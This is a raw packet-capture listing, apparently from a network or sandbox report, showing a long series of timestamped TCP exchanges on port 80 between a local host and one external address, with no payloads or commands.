Jan 11, 2025 09:20:11.400516987 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.400527954 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.400538921 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.400548935 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.400566101 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.400593042 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.400947094 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.400994062 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.401006937 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.401019096 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.401062965 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.401190996 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.401201963 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.401212931 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.401222944 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.401245117 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.401272058 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.401326895 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.401339054 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.401349068 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.401359081 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.401400089 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.401432037 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.401467085 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.401958942 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.401969910 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.401979923 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.402005911 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.402030945 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.402110100 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.402122021 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.402132034 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.402143955 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.402158022 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.402184010 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.402290106 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.402301073 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.402311087 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.402322054 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.402333021 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.402348042 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.402395010 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.402806044 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.402856112 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.402858019 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.402868032 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.402901888 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.402992964 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.403003931 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.403014898 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.403027058 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.403059006 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.403084040 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.403201103 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.405100107 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.420222044 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420252085 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420308113 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420353889 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420365095 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420398951 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.420398951 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.420438051 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.420449972 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420469999 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420548916 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.420614004 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420624971 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420630932 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420641899 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420675993 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.420702934 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.420759916 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420773029 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420809984 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420820951 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420831919 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.420838118 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.420865059 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.429991961 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.430035114 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.430046082 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.430071115 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.430103064 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.430169106 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.430181026 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.430205107 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.430214882 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.430224895 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.430250883 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.436918020 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.436945915 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.436955929 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.437010050 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.437011957 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.437058926 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.437072992 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.437084913 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.437125921 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.437154055 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.437165976 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.437212944 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.437302113 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.437314034 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.437331915 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.437340975 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.437350988 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.437361956 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.437369108 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.437369108 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.437402964 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.447266102 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447287083 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447298050 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447346926 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447365999 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.447393894 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.447458982 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447477102 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447488070 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447499037 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447530031 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.447530031 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.447606087 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447649956 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447662115 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447695971 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.447803020 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447813988 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447844982 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447849035 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.447858095 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.447886944 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.468590021 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.468616962 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.468626976 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.468708992 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.468708992 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.468751907 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.468764067 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.468775034 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.468786001 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.468808889 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.468836069 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.485496044 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.485508919 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.485527039 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.485538006 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.485549927 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.485585928 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.485632896 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.485646009 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.485683918 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.485686064 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.485694885 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.485729933 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.485891104 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.485902071 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.485913038 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.485923052 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.485933065 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.485944033 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.485946894 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.485974073 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.485990047 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.486032963 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486044884 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486078978 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486088991 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486093044 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.486124992 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.486176968 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486188889 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486231089 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.486238956 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486263037 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486309052 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.486350060 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486361027 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486371040 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486398935 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.486480951 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486491919 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486502886 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486525059 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.486548901 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.486567020 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486618996 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486658096 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.486686945 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486697912 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486707926 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486737967 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.486818075 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486829996 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486843109 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486860037 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.486885071 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.486949921 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486963034 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.486991882 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.487000942 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487011909 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487059116 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.487148046 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487159014 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487201929 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.487271070 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487307072 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487363100 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.487406015 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487416983 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487427950 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487448931 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.487560987 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487571955 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487586021 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487602949 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.487627983 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.487746000 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487756968 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487767935 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487778902 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487788916 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487799883 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487799883 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.487812042 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.487821102 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.487853050 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.488086939 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.488097906 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.488107920 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.488120079 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.488130093 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.488161087 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.490458012 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.490468979 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.490478992 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.490500927 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.490523100 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.490534067 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.490536928 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.490546942 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.490576029 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.490636110 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.490648031 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.490673065 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.491494894 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.507102013 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507126093 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507136106 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507174015 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507184982 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507184982 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.507230997 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.507230997 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.507304907 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507330894 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507343054 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507354975 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507405996 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.507405996 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.507451057 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507462978 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507472038 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507607937 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.507633924 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507644892 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507654905 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507666111 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.507673979 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.507699013 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.527415037 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.527493954 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.527506113 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.527560949 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.527585030 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.527596951 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.527597904 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.527609110 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.527620077 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.527648926 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.527678013 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.527873039 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.527888060 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.527898073 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.527909040 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.527920008 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.527930975 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.527941942 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.527954102 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.527987957 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.527988911 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.534400940 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.534415007 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.534429073 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.534523964 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.534532070 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.534543991 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.534554958 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.534568071 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.534620047 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.534707069 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.534718990 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.534729004 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.534739971 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.534749985 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.534758091 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.534761906 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.534773111 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.534800053 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.555864096 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.555886984 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.555896997 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.555969954 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.556026936 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.556039095 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.556066036 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.556071997 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.556078911 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.556102037 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.556135893 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.572328091 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.572354078 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.572364092 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.572516918 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.572527885 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.572539091 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.572562933 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.572562933 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.572611094 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.572654009 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.572665930 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.572675943 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.572685957 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.572706938 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.572734118 CET	49731	80	192.168.2.4	193.143.1.205
Jan 11, 2025 09:20:11.572774887 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.572830915 CET	80	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 09:20:11.572840929 CET	80	49731	193.143.1.205	192.168.2.4
